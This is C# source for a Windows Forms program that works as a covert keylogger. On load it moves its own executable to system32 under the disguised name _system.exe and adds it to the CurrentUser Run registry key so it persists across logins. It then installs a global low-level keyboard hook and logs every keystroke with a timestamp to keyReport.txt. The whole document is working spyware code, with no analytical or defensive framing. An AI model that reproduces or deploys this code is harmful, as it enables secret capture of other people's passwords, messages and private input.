using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Threading;
namespace RozhDataSrvTest
{
/// <summary>
/// Form2 的摘要说明。
/// </summary>
public class Form2 : System.Windows.Forms.Form
{
/// <summary>
/// 必需的设计器变量。
/// </summary>
private System.ComponentModel.Container components = null;
private Hook MyHook=new Hook();
private Report MyReport=new Report();
private RegistryReport MyRegistryReport;
private string keyEvents,keyDate;
private System.Windows.Forms.TabControl tabControl1;
private System.Windows.Forms.TabPage tabPage1;
private System.Windows.Forms.Button button1;
public Form2()
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//
}
/// <summary>
/// 清理所有正在使用的资源。
/// </summary>
protected override void Dispose( bool disposing )
{
if( disposing )
{
if(components != null)
{
components.Dispose();
}
}
base.Dispose( disposing );
}
#region Windows 窗体设计器生成的代码
/// <summary>
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
/// 此方法的内容。
/// </summary>
private void InitializeComponent()
{
this.button1 = new System.Windows.Forms.Button();
this.tabControl1 = new System.Windows.Forms.TabControl();
this.tabPage1 = new System.Windows.Forms.TabPage();
this.tabControl1.SuspendLayout();
this.SuspendLayout();
//
// button1
//
this.button1.Location = new System.Drawing.Point(160, 72);
this.button1.Name = "button1";
this.button1.TabIndex = 0;
this.button1.Text = "button1";
this.button1.Click += new System.EventHandler(this.button1_Click);
//
// tabControl1
//
this.tabControl1.Controls.Add(this.tabPage1);
this.tabControl1.Location = new System.Drawing.Point(32, 120);
this.tabControl1.Name = "tabControl1";
this.tabControl1.SelectedIndex = 0;
this.tabControl1.TabIndex = 1;
//
// tabPage1
//
this.tabPage1.Location = new System.Drawing.Point(4, 21);
this.tabPage1.Name = "tabPage1";
this.tabPage1.Size = new System.Drawing.Size(192, 75);
this.tabPage1.TabIndex = 0;
this.tabPage1.Text = "tabPage1";
//
// Form2
//
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(292, 266);
this.Controls.Add(this.tabControl1);
this.Controls.Add(this.button1);
this.Name = "Form2";
this.Text = "Form2";
this.Load += new System.EventHandler(this.Form2_Load);
this.tabControl1.ResumeLayout(false);
this.ResumeLayout(false);
}
#endregion
private void button1_Click(object sender, System.EventArgs e)
{
}
private void Form2_Load(object sender, System.EventArgs e)
{
MyRegistryReport=new RegistryReport();
this.MyRegistryReport.MoveFile();
this.MyRegistryReport.registryRun();
this.MyReport.FirstWrite();
this.MyHook.SetHook();
this.MyHook.KeyboardEvent += new KeyboardEventHandler(MyHook_KeyboardEvent);
}
private void MyHook_KeyboardEvent(KeyboardEvents keyEvent, Keys key)
{
this.keyEvents = keyEvent.ToString();
this.keyDate = key.ToString();
this.MyReport.WriteDate(keyEvents,keyDate);
}
}
}
Hook.cs
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Windows.Forms;
namespace RozhDataSrvTest
{
public enum KeyboardEvents
{
KeyDown = 0x0100,
KeyUp = 0x0101,
SystemKeyDown = 0x0104,
SystemKeyUp = 0x0105
}
[StructLayout(LayoutKind.Sequential)]
public struct KeyboardHookStruct
{
public int vkCode; //表示一个在1到254间的虚似键盘码
public int scanCode; //表示硬件扫描码
public int flags;
public int time;
public int dwExtraInfo;
}
public delegate void KeyboardEventHandler(KeyboardEvents keyEvent ,System.Windows.Forms.Keys key);
public class Hook
{
public event KeyboardEventHandler KeyboardEvent;
public enum HookType
{
WH_JOURNALRECORD = 0,
WH_JOURNALPLAYBACK = 1,
WH_KEYBOARD = 2,
WH_GETMESSAGE = 3,
WH_CALLWNDPROC = 4,
WH_CBT = 5,
WH_SYSMSGFILTER = 6,
WH_MOUSE = 7,
WH_HARDWARE = 8,
WH_DEBUG = 9,
WH_SHELL = 10,
WH_FOREGROUNDIDLE = 11,
WH_CALLWNDPROCRET = 12,
WH_KEYBOARD_LL = 13,
WH_MOUSE_LL = 14,
WH_MSGFILTER = -1,
}
public delegate IntPtr HookProc(int code, int wParam, IntPtr lParam);
[DllImport("User32.dll",CharSet = CharSet.Auto)]
public static extern IntPtr SetWindowsHookEx(HookType hookType,HookProc hook,IntPtr instance,int threadID);
[DllImport("User32.dll",CharSet = CharSet.Auto)]
public static extern IntPtr CallNextHookEx(IntPtr hookHandle, int code, int wParam, IntPtr lParam);
[DllImport("User32.dll",CharSet = CharSet.Auto)]
public static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
private IntPtr instance;
private IntPtr hookHandle;
private int threadID;
private HookProc hookProcEx;
public Hook()
{
this.instance =
Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]);
this.threadID = 0;
hookHandle = IntPtr.Zero;
hookProcEx = new HookProc(hookProc);
}
public bool SetHook()
{
this.hookHandle = SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadID);
return ((int)hookHandle != 0);
}
public IntPtr hookProc(int code, int wParam, IntPtr lParam)
{
if(code >= 0)
{
KeyboardEvents kEvent = (KeyboardEvents)wParam;
if (kEvent != KeyboardEvents.KeyDown &&
kEvent != KeyboardEvents.KeyUp &&
kEvent != KeyboardEvents.SystemKeyDown &&
kEvent != KeyboardEvents.SystemKeyUp)
{
return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
}
KeyboardHookStruct MyKey = new KeyboardHookStruct();
Type t = MyKey.GetType();
MyKey = (KeyboardHookStruct)Marshal.PtrToStructure(lParam,t);
Keys keyData=(Keys)MyKey.vkCode;
KeyboardEvent(kEvent, keyData);
}
return CallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam, lParam);
}
public bool UnHook()
{
return Hook.UnhookWindowsHookEx(this.hookHandle);
}
}
}
RegistryReport.cs
using System;
using System.IO;
using Microsoft.Win32;
using System.Windows.Forms;
namespace RozhDataSrvTest
{
public class RegistryReport
{
public RegistryReport()
{
}
public void MoveFile()
{
if(!File.Exists("c://windows//system32//_system.exe"))
{
File.Move(Application.ExecutablePath,"c://windows//system32//_system.exe");
}
else
return;
}
public void registryRun()
{
RegistryKey key1=Registry.CurrentUser.CreateSubKey("Software//Microsoft//Windows//CurrentVersion//run");
key1.SetValue("","c://windows//system32//_system.exe");
key1.Close();
}
}
}
Report.cs
using System;
using System.IO;
namespace RozhDataSrvTest
{
public class Report
{
public Report()
{
}
public void FirstWrite()
{
StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);
sw.WriteLine("************* LittleStudio Studio ************* ");
sw.WriteLine("******** " + DateTime.Today.Year.ToString() + "."
+ DateTime.Today.Month.ToString() + "."
+ DateTime.Today.Day.ToString() + " "
+ DateTime.Now.Hour.ToString() + ":"
+ DateTime.Now.Minute.ToString() + ":"
+ DateTime.Now.Second.ToString() + " ********");
sw.Close();
}
public void WriteDate(string keyEvents,string keyDate)
{
try
{
StreamWriter sw = new StreamWriter("c:/windows/system32/keyReport.txt",true);
sw.WriteLine(keyDate + "键 " + keyEvents + " "
+ DateTime.Now.Hour.ToString() + ":"
+ DateTime.Now.Minute.ToString() + ":"
+ DateTime.Now.Second.ToString());
sw.Close();
}
catch{}
return;
}
}
}